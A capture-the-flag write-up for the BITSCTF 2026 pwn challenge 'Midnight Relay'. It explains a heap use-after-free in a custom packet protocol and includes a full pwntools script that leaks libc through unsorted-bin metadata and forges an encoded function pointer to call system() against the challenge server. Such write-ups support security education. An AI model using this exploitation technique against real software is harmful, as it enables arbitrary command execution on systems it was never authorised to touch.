$ Pwn: Midnight Relay

BITSCTF 2026 By TaklaMan
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

Executive Summary

The binary implements a custom packet protocol with authenticated operations over heap-backed “shards”. The exploit abuses a use-after-free read/write primitive on shard memory to recover libc pointers from unsorted-bin metadata, then forges the authenticated function pointer state used by the fire (0x66) operation. This redirects execution to system() with attacker-controlled command data.

Binary/Runtime Observations

  • ELF64 PIE, NX enabled, Full RELRO, no stack canary.
  • Packet format:
    • op (u8)
    • key (u8)
    • len (u16 little-endian)
    • payload (len bytes)
  • The internal rolling epoch starts at 0x6b1d5a93 (from .data) and mutates after each accepted opcode.
  • Packet key is validated by a per-byte rolling transform over payload + current epoch.

Vulnerability Details

  1. UAF on shard buffers

shred (0x44) calls free(slot[idx].ptr) but keeps the pointer in slot metadata. The slot can later be accessed with:

  • observe (0x33) => arbitrary read in freed region
  • tune (0x22) => arbitrary write in freed region
  1. Authenticated indirect call (fire)

fire (0x66) reconstructs a call target from encoded metadata stored at ptr + size (tail block):

  • fields: q0, q8, ptr_copy, q18
  • call target effectively recovered from XOR relation over these values
  • if caller passes sync (0x55) token check, fire performs indirect call

Because tune can modify tail metadata, and sync token is derivable from known state, we can repoint fire to system.

Exploitation Strategy

  1. Forge shard idx=1 with command string payload (cat /app/flag.txt).
  2. Read idx=1 tail metadata (q0, q8, ptr, q18) using observe.
  3. Create large chunks (size 0x500) and free non-adjacent chunks into unsorted bin.
  4. Read unsorted-bin fd pointer from freed chunk via UAF (observe).
  5. Compute libc base:
    • libc_base = fd - 0x203b20 (unsorted-bin main_arena pointer offset for this target libc)
    • system = libc_base + libc.sym['system']
  6. Overwrite only tail q8 so reconstructed call target becomes system.
  7. Compute valid sync token and send fire.
  8. system("cat /app/flag.txt") runs and prints the flag.

Important Implementation Notes

  • epoch must start from 0x6b1d5a93; starting from zero breaks authentication.
  • Packets used during unsorted leak are padded (len=0x500) to avoid allocator side effects consuming the target freed chunk.
  • Command length in forge is limited by tag_len (u8).

Main Program (pwntools exploit)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'info'

HOST = '20.193.149.152'
PORT = 1338

# epoch initial value from binary .data
EPOCH0 = 0x6B1D5A93
# unsorted-bin fd leak offset to libc base on target libc (Ubuntu 24.04)
UNSORTED_MAIN_ARENA_OFF = 0x203B20

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

def calc_key(payload: bytes, epoch: int) -> int:
    d = epoch & 0xFFFFFFFF
    for b in payload:
        a = (d * 8) & 0xFFFFFFFF
        d = (d >> 2) & 0xFFFFFFFF
        a ^= d
        a ^= b
        a ^= 0x71
        d = a & 0xFFFFFFFF
    return d & 0xFF

def send_pkt(io, epoch: int, op: int, payload: bytes, pad_to: int | None = None) -> int:
    if pad_to and pad_to > len(payload):
        payload = payload + b'A' * (pad_to - len(payload))
    key = calc_key(payload, epoch)
    io.send(bytes([op, key]) + p16(len(payload)) + payload)
    return epoch ^ ((op << 9) | 0x5F)

def forge(io, epoch, idx, size, tag=b'', pad_to=None):
    assert len(tag) <= 0xFF
    payload = bytes([idx]) + p16(size) + bytes([len(tag)]) + tag
    return send_pkt(io, epoch, 0x11, payload, pad_to)

def tune(io, epoch, idx, off, blob, pad_to=None):
    payload = bytes([idx]) + p16(off) + p16(len(blob)) + blob
    return send_pkt(io, epoch, 0x22, payload, pad_to)

def observe(io, epoch, idx, off, n, pad_to=None):
    payload = bytes([idx]) + p16(off) + p16(n)
    epoch = send_pkt(io, epoch, 0x33, payload, pad_to)
    data = io.recvn(n, timeout=2)
    return epoch, data

def shred(io, epoch, idx, pad_to=None):
    return send_pkt(io, epoch, 0x44, bytes([idx]), pad_to)

def sync(io, epoch, idx, token, pad_to=None):
    payload = bytes([idx]) + p32(token)
    return send_pkt(io, epoch, 0x55, payload, pad_to)

def fire(io, epoch, idx, pad_to=None):
    return send_pkt(io, epoch, 0x66, bytes([idx]), pad_to)

def main():
    io = remote(HOST, PORT)
    banner = io.recvline(timeout=2)
    log.info(f'banner: {banner!r}')

    e = EPOCH0

    # 1) Controlled command buffer in shard #1
    cmd = b'cat /app/flag.txt'
    e = forge(io, e, idx=1, size=0x100, tag=cmd)

    # 2) Leak authenticated tail metadata for idx=1
    e, meta = observe(io, e, idx=1, off=0x100, n=0x20)
    q0 = u64(meta[0:8])
    q8 = u64(meta[8:16])
    ptr = u64(meta[16:24])
    q18 = u64(meta[24:32])
    tail = ptr + 0x100

    # 3) Unsorted leak setup via UAF
    for i in [2, 3, 4]:
        e = forge(io, e, idx=i, size=0x500, tag=b'', pad_to=0x500)

    # free non-adjacent to avoid immediate coalescing side effects
    for i in [2, 4]:
        e = shred(io, e, idx=i, pad_to=0x500)

    # UAF read of freed idx=2 => unsorted fd/bk
    e, leak = observe(io, e, idx=2, off=0, n=16, pad_to=0x500)
    fd = u64(leak[:8])

    libc_base = fd - UNSORTED_MAIN_ARENA_OFF
    system = libc_base + libc.symbols['system']
    log.info(f'fd leak     = {fd:#x}')
    log.info(f'libc base   = {libc_base:#x}')
    log.info(f'system addr = {system:#x}')

    # 4) Rewrite encoded call target by updating only q8
    new_q8 = q0 ^ q18 ^ (tail >> 13) ^ system
    e = tune(io, e, idx=1, off=0x108, blob=p64(new_q8))

    # 5) Compute sync token expected by operation 0x55
    token = (e ^ (q0 & 0xFFFFFFFF) ^ (q18 & 0xFFFFFFFF)) & 0xFFFFFFFF
    e = sync(io, e, idx=1, token=token)

    # 6) Trigger indirect call => system("cat /app/flag.txt")
    e = fire(io, e, idx=1)

    flag_line = io.recvline(timeout=3)
    print(flag_line.decode(errors='ignore').strip())

    io.close()

if __name__ == '__main__':
    main()

Reproduction

  1. Ensure pwntools is installed.
  2. Run the script above.